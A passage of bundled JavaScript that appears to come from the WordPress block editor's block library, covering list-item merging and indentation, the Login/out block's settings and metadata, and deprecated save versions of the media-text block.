      const listId = getBlockRootClientId(id);
      const parentListItemId = getBlockRootClientId(listId);
      if (!parentListItemId) {
        return;
      }
      if (getBlockName(parentListItemId) !== &quot;core/list-item&quot;) {
        return;
      }
      return parentListItemId;
    }
    function _getNextId(id) {
      const next = getNextBlockClientId(id);
      if (next) {
        return next;
      }
      const parentListItemId = getParentListItemId(id);
      if (!parentListItemId) {
        return;
      }
      return _getNextId(parentListItemId);
    }
    function getNextId(id) {
      const order = getBlockOrder(id);
      if (!order.length) {
        return _getNextId(id);
      }
      return getBlockOrder(order[0])[0];
    }
    return (forward) =&gt; {
      function mergeWithNested(clientIdA, clientIdB) {
        registry.batch(() =&gt; {
          const [nestedListClientId] = getBlockOrder(clientIdB);
          if (nestedListClientId) {
            if (getPreviousBlockClientId(clientIdB) === clientIdA &amp;&amp; !getBlockOrder(clientIdA).length) {
              moveBlocksToPosition(
                [nestedListClientId],
                clientIdB,
                clientIdA
              );
            } else {
              moveBlocksToPosition(
                getBlockOrder(nestedListClientId),
                nestedListClientId,
                getBlockRootClientId(clientIdA)
              );
            }
          }
          mergeBlocks(clientIdA, clientIdB);
        });
      }
      if (forward) {
        const nextBlockClientId = getNextId(clientId);
        if (!nextBlockClientId) {
          onMerge(forward);
          return;
        }
        if (getParentListItemId(nextBlockClientId)) {
          outdentListItem(nextBlockClientId);
        } else {
          mergeWithNested(clientId, nextBlockClientId);
        }
      } else {
        if (getParentListItemId(clientId)) {
          outdentListItem(clientId);
          return;
        }
        const previousBlockClientId = getPreviousBlockClientId(clientId);
        if (previousBlockClientId) {
          const trailingId = getTrailingId(previousBlockClientId);
          mergeWithNested(trailingId, clientId);
          return;
        }
        const blockOrder = getBlockOrder(clientId);
        if ((0, import_blocks47.isUnmodifiedBlock)(getBlock(clientId), &quot;content&quot;) &amp;&amp; blockOrder.length &gt; 0) {
          registry.batch(() =&gt; {
            outdentListItem(getBlockOrder(blockOrder[0]));
            removeBlock(clientId, true);
          });
        } else {
          onMerge(forward);
        }
      }
    };
  }

  // packages/block-library/build-module/list-item/edit.mjs
  var import_jsx_runtime292 = __toESM(require_jsx_runtime(), 1);
  function IndentUI2({ clientId }) {
    const indentListItem = useIndentListItem(clientId);
    const outdentListItem = useOutdentListItem();
    const { canIndent, canOutdent } = (0, import_data57.useSelect)(
      (select9) =&gt; {
        const { getBlockIndex, getBlockRootClientId, getBlockName } = select9(import_block_editor129.store);
        return {
          canIndent: getBlockIndex(clientId) &gt; 0,
          canOutdent: getBlockName(
            getBlockRootClientId(getBlockRootClientId(clientId))
          ) === &quot;core/list-item&quot;
        };
      },
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime292.jsxs)(import_jsx_runtime292.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(
        import_components63.ToolbarButton,
        {
          icon: (0, import_i18n102.isRTL)() ? format_outdent_rtl_default : format_outdent_default,
          title: (0, import_i18n102.__)(&quot;Outdent&quot;),
          shortcut: import_keycodes4.displayShortcut.shift(&quot;Tab&quot;),
          description: (0, import_i18n102.__)(&quot;Outdent list item&quot;),
          disabled: !canOutdent,
          onClick: () =&gt; outdentListItem()
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(
        import_components63.ToolbarButton,
        {
          icon: (0, import_i18n102.isRTL)() ? format_indent_rtl_default : format_indent_default,
          title: (0, import_i18n102.__)(&quot;Indent&quot;),
          shortcut: &quot;Tab&quot;,
          description: (0, import_i18n102.__)(&quot;Indent list item&quot;),
          disabled: !canIndent,
          onClick: () =&gt; indentListItem()
        }
      )
    ] });
  }
  function ListItemEdit({
    attributes: attributes2,
    setAttributes,
    clientId,
    mergeBlocks
  }) {
    const { placeholder: placeholder2, content } = attributes2;
    const blockProps = (0, import_block_editor129.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor129.useInnerBlocksProps)(blockProps, {
      renderAppender: false,
      __unstableDisableDropZone: true
    });
    const useEnterRef = useEnter2({ content, clientId });
    const useSpaceRef = useSpace(clientId);
    const onMerge = useMerge(clientId, mergeBlocks);
    return /* @__PURE__ */ (0, import_jsx_runtime292.jsxs)(import_jsx_runtime292.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime292.jsxs)(&quot;li&quot;, { ...innerBlocksProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(
          import_block_editor129.RichText,
          {
            ref: (0, import_compose29.useMergeRefs)([useEnterRef, useSpaceRef]),
            identifier: &quot;content&quot;,
            tagName: &quot;div&quot;,
            onChange: (nextContent) =&gt; setAttributes({ content: nextContent }),
            value: content,
            &quot;aria-label&quot;: (0, import_i18n102.__)(&quot;List text&quot;),
            placeholder: placeholder2 || (0, import_i18n102.__)(&quot;List&quot;),
            onMerge
          }
        ),
        innerBlocksProps.children
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(import_block_editor129.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(IndentUI2, { clientId }) })
    ] });
  }

  // packages/block-library/build-module/list-item/save.mjs
  var import_block_editor130 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime293 = __toESM(require_jsx_runtime(), 1);
  function save29({ attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime293.jsxs)(&quot;li&quot;, { ...import_block_editor130.useBlockProps.save(), children: [
      /* @__PURE__ */ (0, import_jsx_runtime293.jsx)(import_block_editor130.RichText.Content, { value: attributes2.content }),
      /* @__PURE__ */ (0, import_jsx_runtime293.jsx)(import_block_editor130.InnerBlocks.Content, {})
    ] });
  }

  // packages/block-library/build-module/list-item/transforms.mjs
  var import_blocks48 = __toESM(require_blocks(), 1);
  var transforms15 = {
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/paragraph&quot;],
        transform: (attributes2, innerBlocks = []) =&gt; [
          (0, import_blocks48.createBlock)(&quot;core/paragraph&quot;, attributes2),
          ...innerBlocks.map((block) =&gt; (0, import_blocks48.cloneBlock)(block))
        ]
      }
    ]
  };
  var transforms_default16 = transforms15;

  // packages/block-library/build-module/list-item/index.mjs
  var { fieldsKey: fieldsKey9, formKey: formKey9 } = unlock(import_blocks49.privateApis);
  var { name: name49 } = block_default49;
  var settings49 = {
    icon: list_item_default,
    edit: ListItemEdit,
    save: save29,
    merge(attributes2, attributesToMerge) {
      return {
        ...attributes2,
        content: attributes2.content + attributesToMerge.content
      };
    },
    transforms: transforms_default16,
    [unlock(import_block_editor131.privateApis).requiresWrapperOnCopy]: true,
    __experimentalLabel(attributes2, { context }) {
      const { content } = attributes2;
      const customName = attributes2?.metadata?.name;
      const hasContent = content?.trim().length &gt; 0;
      if (context === &quot;list-view&quot; &amp;&amp; (customName || hasContent)) {
        return customName || content;
      }
      if (context === &quot;breadcrumb&quot; &amp;&amp; customName) {
        return customName;
      }
    }
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings49[fieldsKey9] = [
      {
        id: &quot;content&quot;,
        label: (0, import_i18n103.__)(&quot;Content&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings49[formKey9] = {
      fields: [&quot;content&quot;]
    };
  }
  var init49 = () =&gt; initBlock({ name: name49, metadata: block_default49, settings: settings49 });

  // packages/block-library/build-module/loginout/index.mjs
  var loginout_exports = {};
  __export(loginout_exports, {
    init: () =&gt; init50,
    metadata: () =&gt; block_default50,
    name: () =&gt; name50,
    settings: () =&gt; settings50
  });

  // packages/block-library/build-module/loginout/edit.mjs
  var import_block_editor132 = __toESM(require_block_editor(), 1);
  var import_components64 = __toESM(require_components(), 1);
  var import_i18n104 = __toESM(require_i18n(), 1);
  var import_jsx_runtime294 = __toESM(require_jsx_runtime(), 1);
  function LoginOutEdit({ attributes: attributes2, setAttributes }) {
    const { displayLoginAsForm, redirectToCurrent } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime294.jsxs)(import_jsx_runtime294.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(import_block_editor132.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime294.jsxs)(
        import_components64.__experimentalToolsPanel,
        {
          label: (0, import_i18n104.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              displayLoginAsForm: false,
              redirectToCurrent: true
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
              import_components64.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n104.__)(&quot;Display login as form&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; displayLoginAsForm,
                onDeselect: () =&gt; setAttributes({ displayLoginAsForm: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
                  import_components64.ToggleControl,
                  {
                    label: (0, import_i18n104.__)(&quot;Display login as form&quot;),
                    checked: displayLoginAsForm,
                    onChange: () =&gt; setAttributes({
                      displayLoginAsForm: !displayLoginAsForm
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
              import_components64.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n104.__)(&quot;Redirect to current URL&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !redirectToCurrent,
                onDeselect: () =&gt; setAttributes({ redirectToCurrent: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
                  import_components64.ToggleControl,
                  {
                    label: (0, import_i18n104.__)(&quot;Redirect to current URL&quot;),
                    checked: redirectToCurrent,
                    onChange: () =&gt; setAttributes({
                      redirectToCurrent: !redirectToCurrent
                    })
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
        &quot;div&quot;,
        {
          ...(0, import_block_editor132.useBlockProps)({
            className: &quot;logged-in&quot;
          }),
          children: /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(&quot;a&quot;, { href: &quot;#login-pseudo-link&quot;, children: (0, import_i18n104.__)(&quot;Log out&quot;) })
        }
      )
    ] });
  }

  // packages/block-library/build-module/loginout/block.json
  var block_default50 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/loginout&quot;,
    title: &quot;Login/out&quot;,
    category: &quot;theme&quot;,
    description: &quot;Show login &amp; logout links.&quot;,
    keywords: [&quot;login&quot;, &quot;logout&quot;, &quot;form&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      displayLoginAsForm: {
        type: &quot;boolean&quot;,
        default: false
      },
      redirectToCurrent: {
        type: &quot;boolean&quot;,
        default: true
      }
    },
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      className: true,
      color: {
        background: true,
        text: false,
        gradients: true,
        link: true
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-loginout&quot;
  };

  // packages/block-library/build-module/loginout/index.mjs
  var { name: name50 } = block_default50;
  var settings50 = {
    icon: login_default,
    edit: LoginOutEdit
  };
  var init50 = () =&gt; initBlock({ name: name50, metadata: block_default50, settings: settings50 });

  // packages/block-library/build-module/media-text/index.mjs
  var media_text_exports = {};
  __export(media_text_exports, {
    init: () =&gt; init51,
    metadata: () =&gt; block_default51,
    name: () =&gt; name51,
    settings: () =&gt; settings51
  });
  var import_i18n108 = __toESM(require_i18n(), 1);
  var import_blocks51 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/media-text/deprecated.mjs
  var import_block_editor133 = __toESM(require_block_editor(), 1);
  var import_compose30 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/media-text/constants.mjs
  var import_i18n105 = __toESM(require_i18n(), 1);
  var DEFAULT_MEDIA_SIZE_SLUG4 = &quot;full&quot;;
  var WIDTH_CONSTRAINT_PERCENTAGE = 15;
  var LINK_DESTINATION_NONE3 = &quot;none&quot;;
  var LINK_DESTINATION_MEDIA3 = &quot;media&quot;;
  var LINK_DESTINATION_ATTACHMENT3 = &quot;attachment&quot;;
  var TEMPLATE10 = [
    [
      &quot;core/paragraph&quot;,
      {
        placeholder: (0, import_i18n105._x)(&quot;Content\u2026&quot;, &quot;content placeholder&quot;)
      }
    ]
  ];

  // packages/block-library/build-module/media-text/deprecated.mjs
  var import_jsx_runtime295 = __toESM(require_jsx_runtime(), 1);
  var v1ToV5ImageFillStyles = (url, focalPoint) =&gt; {
    return url ? {
      backgroundImage: `url(${url})`,
      backgroundPosition: focalPoint ? `${focalPoint.x * 100}% ${focalPoint.y * 100}%` : `50% 50%`
    } : {};
  };
  var v6ToV7ImageFillStyles = (url, focalPoint) =&gt; {
    return url ? {
      backgroundImage: `url(${url})`,
      backgroundPosition: focalPoint ? `${Math.round(focalPoint.x * 100)}% ${Math.round(
        focalPoint.y * 100
      )}%` : `50% 50%`
    } : {};
  };
  var DEFAULT_MEDIA_WIDTH = 50;
  var noop = () =&gt; {
  };
  var migrateCustomColors3 = (attributes2) =&gt; {
    if (!attributes2.customBackgroundColor) {
      return attributes2;
    }
    const style2 = {
      color: {
        background: attributes2.customBackgroundColor
      }
    };
    const { customBackgroundColor, ...restAttributes } = attributes2;
    return {
      ...restAttributes,
      style: style2
    };
  };
  var migrateDefaultAlign = (attributes2) =&gt; {
    if (attributes2.align) {
      return attributes2;
    }
    return {
      ...attributes2,
      align: &quot;wide&quot;
    };
  };
  var v0Attributes = {
    align: {
      type: &quot;string&quot;,
      default: &quot;wide&quot;
    },
    mediaAlt: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;figure img&quot;,
      attribute: &quot;alt&quot;,
      default: &quot;&quot;
    },
    mediaPosition: {
      type: &quot;string&quot;,
      default: &quot;left&quot;
    },
    mediaId: {
      type: &quot;number&quot;
    },
    mediaType: {
      type: &quot;string&quot;
    },
    mediaWidth: {
      type: &quot;number&quot;,
      default: 50
    },
    isStackedOnMobile: {
      type: &quot;boolean&quot;,
      default: false
    }
  };
  var v4ToV5BlockAttributes = {
    ...v0Attributes,
    isStackedOnMobile: {
      type: &quot;boolean&quot;,
      default: true
    },
    mediaUrl: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;figure video,figure img&quot;,
      attribute: &quot;src&quot;
    },
    mediaLink: {
      type: &quot;string&quot;
    },
    linkDestination: {
      type: &quot;string&quot;
    },
    linkTarget: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;figure a&quot;,
      attribute: &quot;target&quot;
    },
    href: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;figure a&quot;,
      attribute: &quot;href&quot;
    },
    rel: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;figure a&quot;,
      attribute: &quot;rel&quot;
    },
    linkClass: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;figure a&quot;,
      attribute: &quot;class&quot;
    },
    mediaSizeSlug: {
      type: &quot;string&quot;
    },
    verticalAlignment: {
      type: &quot;string&quot;
    },
    imageFill: {
      type: &quot;boolean&quot;
    },
    focalPoint: {
      type: &quot;object&quot;
    }
  };
  var v6Attributes = {
    ...v4ToV5BlockAttributes,
    mediaAlt: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;figure img&quot;,
      attribute: &quot;alt&quot;,
      default: &quot;&quot;,
      role: &quot;content&quot;
    },
    mediaId: {
      type: &quot;number&quot;,
      role: &quot;content&quot;
    },
    mediaUrl: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;figure video,figure img&quot;,
      attribute: &quot;src&quot;,
      role: &quot;content&quot;
    },
    href: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;figure a&quot;,
      attribute: &quot;href&quot;,
      role: &quot;content&quot;
    },
    mediaType: {
      type: &quot;string&quot;,
      role: &quot;content&quot;
    }
  };
  var v7Attributes = {
    ...v6Attributes,
    align: {
      type: &quot;string&quot;,
      // v7 changed the default for the `align` attribute.
      default: &quot;none&quot;
    },
    // New attribute.
    useFeaturedImage: {
      type: &quot;boolean&quot;,
      default: false
    }
  };
  var v4ToV5Supports = {
    anchor: true,
    align: [&quot;wide&quot;, &quot;full&quot;],
    html: false,
    color: {
      gradients: true,
      link: true
    }
  };
  var v6Supports = {
    ...v4ToV5Supports,
    color: {
      gradients: true,
      link: true,
      __experimentalDefaultControls: {
        background: true,
        text: true
      }
    },
    spacing: {
      margin: true,
      padding: true
    },
    typography: {
      fontSize: true,
      lineHeight: true,
      __experimentalFontFamily: true,
      __experimentalFontWeight: true,
      __experimentalFontStyle: true,
      __experimentalTextTransform: true,
      __experimentalTextDecoration: true,
      __experimentalLetterSpacing: true,
      __experimentalDefaultControls: {
        fontSize: true
      }
    }
  };
  var v7Supports = {
    ...v6Supports,
    __experimentalBorder: {
      color: true,
      radius: true,
      style: true,
      width: true,
      __experimentalDefaultControls: {
        color: true,
        radius: true,
        style: true,
        width: true
      }
    },
    color: {
      gradients: true,
      heading: true,
      link: true,
      __experimentalDefaultControls: {
        background: true,
        text: true
      }
    },
    interactivity: {
      clientNavigation: true
    }
  };
  var v74 = {
    attributes: v7Attributes,
    supports: v7Supports,
    usesContext: [&quot;postId&quot;, &quot;postType&quot;],
    save({ attributes: attributes2 }) {
      const {
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint,
        linkClass,
        href,
        linkTarget,
        rel
      } = attributes2;
      const mediaSizeSlug = attributes2.mediaSizeSlug || DEFAULT_MEDIA_SIZE_SLUG4;
      const newRel = !rel ? void 0 : rel;
      const imageClasses = clsx_default({
        [`wp-image-${mediaId}`]: mediaId &amp;&amp; mediaType === &quot;image&quot;,
        [`size-${mediaSizeSlug}`]: mediaId &amp;&amp; mediaType === &quot;image&quot;
      });
      let image = mediaUrl ? /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
        &quot;img&quot;,
        {
          src: mediaUrl,
          alt: mediaAlt,
          className: imageClasses || null
        }
      ) : null;
      if (href) {
        image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;a&quot;,
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        );
      }
      const mediaTypeRenders = {
        image: () =&gt; image,
        video: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;video&quot;, { controls: true, src: mediaUrl })
      };
      const className = clsx_default({
        &quot;has-media-on-the-right&quot;: &quot;right&quot; === mediaPosition3,
        &quot;is-stacked-on-mobile&quot;: isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        &quot;is-image-fill&quot;: imageFill
      });
      const backgroundStyles = imageFill ? v6ToV7ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = &quot;right&quot; === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        gridTemplateColumns
      };
      if (&quot;right&quot; === mediaPosition3) {
        return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(&quot;div&quot;, { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            &quot;div&quot;,
            {
              ...import_block_editor133.useInnerBlocksProps.save({
                className: &quot;wp-block-media-text__content&quot;
              })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            &quot;figure&quot;,
            {
              className: &quot;wp-block-media-text__media&quot;,
              style: backgroundStyles,
              children: (mediaTypeRenders[mediaType] || noop)()
            }
          )
        ] });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(&quot;div&quot;, { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;figure&quot;,
          {
            className: &quot;wp-block-media-text__media&quot;,
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor133.useInnerBlocksProps.save({
              className: &quot;wp-block-media-text__content&quot;
            })
          }
        )
      ] });
    }
  };
  var v65 = {
    attributes: v6Attributes,
    supports: v6Supports,
    save({ attributes: attributes2 }) {
      const {
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint,
        linkClass,
        href,
        linkTarget,
        rel
      } = attributes2;
      const mediaSizeSlug = attributes2.mediaSizeSlug || DEFAULT_MEDIA_SIZE_SLUG4;
      const newRel = !rel ? void 0 : rel;
      const imageClasses = clsx_default({
        [`wp-image-${mediaId}`]: mediaId &amp;&amp; mediaType === &quot;image&quot;,
        [`size-${mediaSizeSlug}`]: mediaId &amp;&amp; mediaType === &quot;image&quot;
      });
      let image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
        &quot;img&quot;,
        {
          src: mediaUrl,
          alt: mediaAlt,
          className: imageClasses || null
        }
      );
      if (href) {
        image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;a&quot;,
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        );
      }
      const mediaTypeRenders = {
        image: () =&gt; image,
        video: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;video&quot;, { controls: true, src: mediaUrl })
      };
      const className = clsx_default({
        &quot;has-media-on-the-right&quot;: &quot;right&quot; === mediaPosition3,
        &quot;is-stacked-on-mobile&quot;: isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        &quot;is-image-fill&quot;: imageFill
      });
      const backgroundStyles = imageFill ? v6ToV7ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = &quot;right&quot; === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        gridTemplateColumns
      };
      if (&quot;right&quot; === mediaPosition3) {
        return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(&quot;div&quot;, { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            &quot;div&quot;,
            {
              ...import_block_editor133.useInnerBlocksProps.save({
                className: &quot;wp-block-media-text__content&quot;
              })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            &quot;figure&quot;,
            {
              className: &quot;wp-block-media-text__media&quot;,
              style: backgroundStyles,
              children: (mediaTypeRenders[mediaType] || noop)()
            }
          )
        ] });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(&quot;div&quot;, { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;figure&quot;,
          {
            className: &quot;wp-block-media-text__media&quot;,
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor133.useInnerBlocksProps.save({
              className: &quot;wp-block-media-text__content&quot;
            })
          }
        )
      ] });
    },
    migrate: migrateDefaultAlign,
    isEligible(attributes2, innerBlocks, { block }) {
      const { attributes: finalizedAttributes } = block;
      return attributes2.align === void 0 &amp;&amp; !!finalizedAttributes.className?.includes(&quot;alignwide&quot;);
    }
  };
  var v55 = {
    attributes: v4ToV5BlockAttributes,
    supports: v4ToV5Supports,
    save({ attributes: attributes2 }) {
      const {
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint,
        linkClass,
        href,
        linkTarget,
        rel
      } = attributes2;
      const mediaSizeSlug = attributes2.mediaSizeSlug || DEFAULT_MEDIA_SIZE_SLUG4;
      const newRel = !rel ? void 0 : rel;
      const imageClasses = clsx_default({
        [`wp-image-${mediaId}`]: mediaId &amp;&amp; mediaType === &quot;image&quot;,
        [`size-${mediaSizeSlug}`]: mediaId &amp;&amp; mediaType === &quot;image&quot;
      });
      let image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
        &quot;img&quot;,
        {
          src: mediaUrl,
          alt: mediaAlt,
          className: imageClasses || null
        }
      );
      if (href) {
        image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;a&quot;,
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        );
      }
      const mediaTypeRenders = {
        image: () =&gt; image,
        video: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;video&quot;, { controls: true, src: mediaUrl })
      };
      const className = clsx_default({
        &quot;has-media-on-the-right&quot;: &quot;right&quot; === mediaPosition3,
        &quot;is-stacked-on-mobile&quot;: isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        &quot;is-image-fill&quot;: imageFill
      });
      const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = &quot;right&quot; === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        gridTemplateColumns
      };
      if (&quot;right&quot; === mediaPosition3) {
        return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(&quot;div&quot;, { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            &quot;div&quot;,
            {
              ...import_block_editor133.useInnerBlocksProps.save({
                className: &quot;wp-block-media-text__content&quot;
              })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            &quot;figure&quot;,
            {
              className: &quot;wp-block-media-text__media&quot;,
              style: backgroundStyles,
              children: (mediaTypeRenders[mediaType] || noop)()
            }
          )
        ] });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(&quot;div&quot;, { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;figure&quot;,
          {
            className: &quot;wp-block-media-text__media&quot;,
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor133.useInnerBlocksProps.save({
              className: &quot;wp-block-media-text__content&quot;
            })
          }
        )
      ] });
    },
    migrate: migrateDefaultAlign
  };
  var v45 = {
    attributes: v4ToV5BlockAttributes,
    supports: v4ToV5Supports,
    save({ attributes: attributes2 }) {
      const {
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint,
        linkClass,
        href,
        linkTarget,
        rel
      } = attributes2;
      const mediaSizeSlug = attributes2.mediaSizeSlug || DEFAULT_MEDIA_SIZE_SLUG4;
      const newRel = !rel ? void 0 : rel;
      const imageClasses = clsx_default({
        [`wp-image-${mediaId}`]: mediaId &amp;&amp; mediaType === &quot;image&quot;,
        [`size-${mediaSizeSlug}`]: mediaId &amp;&amp; mediaType === &quot;image&quot;
      });
      let image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
        &quot;img&quot;,
        {
          src: mediaUrl,
          alt: mediaAlt,
          className: imageClasses || null
        }
      );
      if (href) {
        image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;a&quot;,
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        );
      }
      const mediaTypeRenders = {
        image: () =&gt; image,
        video: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;video&quot;, { controls: true, src: mediaUrl })
      };
      const className = clsx_default({
        &quot;has-media-on-the-right&quot;: &quot;right&quot; === mediaPosition3,
        &quot;is-stacked-on-mobile&quot;: isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        &quot;is-image-fill&quot;: imageFill
      });
      const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = &quot;right&quot; === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        gridTemplateColumns
      };
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(&quot;div&quot;, { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
